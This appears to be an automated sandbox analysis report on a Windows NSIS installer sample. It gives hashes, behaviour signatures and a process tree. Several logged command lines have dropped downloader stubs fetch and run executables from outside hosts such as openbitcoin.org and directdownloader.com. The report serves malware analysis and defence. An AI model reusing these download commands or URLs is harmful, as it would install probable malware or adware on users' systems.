19fc1dce989208a3d22046af351c7788a4cda642f14ba71e9c404b07476cb40f

Analysis

max time kernel
150s
max time network
154s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 06:31

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General

Target

b4062f86a6a2350335686389106a79fd.exe
Size

492KB
MD5

b4062f86a6a2350335686389106a79fd
SHA1

e07b037aec48a29c04e389fe36a5fbf6f61bd0a8
SHA256

19fc1dce989208a3d22046af351c7788a4cda642f14ba71e9c404b07476cb40f
SHA512

52292806138ffdce676ae47212aa9ce864df94366ef2eb20f547dbb28e546e7a421b78223a2bbad40fc93a9838153d022103ecf78f773a6d791d080b513ac06e
SSDEEP

6144:Suk4fqjxLQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:o4fwh6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2540	downloaderSTUB.exe
2616	downloaderSTUB.exe
1520	downloaderDDLR.exe
2680	downloaderSTUB.exe
2868	downloaderOFFER0.exe
2940	preinstaller.exe

Loads dropped DLL 32 IoCs

pid	Process
2684	b4062f86a6a2350335686389106a79fd.exe
2684	b4062f86a6a2350335686389106a79fd.exe
2684	b4062f86a6a2350335686389106a79fd.exe
2684	b4062f86a6a2350335686389106a79fd.exe
2684	b4062f86a6a2350335686389106a79fd.exe
2684	b4062f86a6a2350335686389106a79fd.exe
2540	downloaderSTUB.exe
1520	downloaderDDLR.exe
2616	downloaderSTUB.exe
2680	downloaderSTUB.exe
2868	downloaderOFFER0.exe
2540	downloaderSTUB.exe
1520	downloaderDDLR.exe
2680	downloaderSTUB.exe
2616	downloaderSTUB.exe
2868	downloaderOFFER0.exe
2540	downloaderSTUB.exe
1520	downloaderDDLR.exe
2616	downloaderSTUB.exe
2680	downloaderSTUB.exe
2868	downloaderOFFER0.exe
2540	downloaderSTUB.exe
1520	downloaderDDLR.exe
2680	downloaderSTUB.exe
2616	downloaderSTUB.exe
2868	downloaderOFFER0.exe
2868	downloaderOFFER0.exe
2540	downloaderSTUB.exe
1520	downloaderDDLR.exe
2616	downloaderSTUB.exe
2680	downloaderSTUB.exe
2868	downloaderOFFER0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0007000000016281-4.dat	nsis_installer_1
behavioral1/files/0x0007000000016281-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 2540	2684	b4062f86a6a2350335686389106a79fd.exe	28
PID 2684 wrote to memory of 2540	2684	b4062f86a6a2350335686389106a79fd.exe	28
PID 2684 wrote to memory of 2540	2684	b4062f86a6a2350335686389106a79fd.exe	28
PID 2684 wrote to memory of 2540	2684	b4062f86a6a2350335686389106a79fd.exe	28
PID 2684 wrote to memory of 2616	2684	b4062f86a6a2350335686389106a79fd.exe	29
PID 2684 wrote to memory of 2616	2684	b4062f86a6a2350335686389106a79fd.exe	29
PID 2684 wrote to memory of 2616	2684	b4062f86a6a2350335686389106a79fd.exe	29
PID 2684 wrote to memory of 2616	2684	b4062f86a6a2350335686389106a79fd.exe	29
PID 2684 wrote to memory of 2680	2684	b4062f86a6a2350335686389106a79fd.exe	30
PID 2684 wrote to memory of 2680	2684	b4062f86a6a2350335686389106a79fd.exe	30
PID 2684 wrote to memory of 2680	2684	b4062f86a6a2350335686389106a79fd.exe	30
PID 2684 wrote to memory of 2680	2684	b4062f86a6a2350335686389106a79fd.exe	30
PID 2684 wrote to memory of 1520	2684	b4062f86a6a2350335686389106a79fd.exe	31
PID 2684 wrote to memory of 1520	2684	b4062f86a6a2350335686389106a79fd.exe	31
PID 2684 wrote to memory of 1520	2684	b4062f86a6a2350335686389106a79fd.exe	31
PID 2684 wrote to memory of 1520	2684	b4062f86a6a2350335686389106a79fd.exe	31
PID 2684 wrote to memory of 2868	2684	b4062f86a6a2350335686389106a79fd.exe	32
PID 2684 wrote to memory of 2868	2684	b4062f86a6a2350335686389106a79fd.exe	32
PID 2684 wrote to memory of 2868	2684	b4062f86a6a2350335686389106a79fd.exe	32
PID 2684 wrote to memory of 2868	2684	b4062f86a6a2350335686389106a79fd.exe	32
PID 2684 wrote to memory of 2940	2684	b4062f86a6a2350335686389106a79fd.exe	33
PID 2684 wrote to memory of 2940	2684	b4062f86a6a2350335686389106a79fd.exe	33
PID 2684 wrote to memory of 2940	2684	b4062f86a6a2350335686389106a79fd.exe	33
PID 2684 wrote to memory of 2940	2684	b4062f86a6a2350335686389106a79fd.exe	33
PID 2684 wrote to memory of 2940	2684	b4062f86a6a2350335686389106a79fd.exe	33
PID 2684 wrote to memory of 2940	2684	b4062f86a6a2350335686389106a79fd.exe	33
PID 2684 wrote to memory of 2940	2684	b4062f86a6a2350335686389106a79fd.exe	33

C:\Users\Admin\AppData\Local\Temp\b4062f86a6a2350335686389106a79fd.exe
"C:\Users\Admin\AppData\Local\Temp\b4062f86a6a2350335686389106a79fd.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2540
- C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2616
- C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2680
- C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1520
- C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2868
- C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\preinstaller.exe 0 "Elbow - dead in the boot (2012) dutchreleaseteam" "Download"
  2⤵
  - Executes dropped EXE
  PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\e26f1b1e6f099abd0aca91f6e8e9c0c1\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
\Users\Admin\AppData\Local\Temp\nsj653A.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2684-58-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2940-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download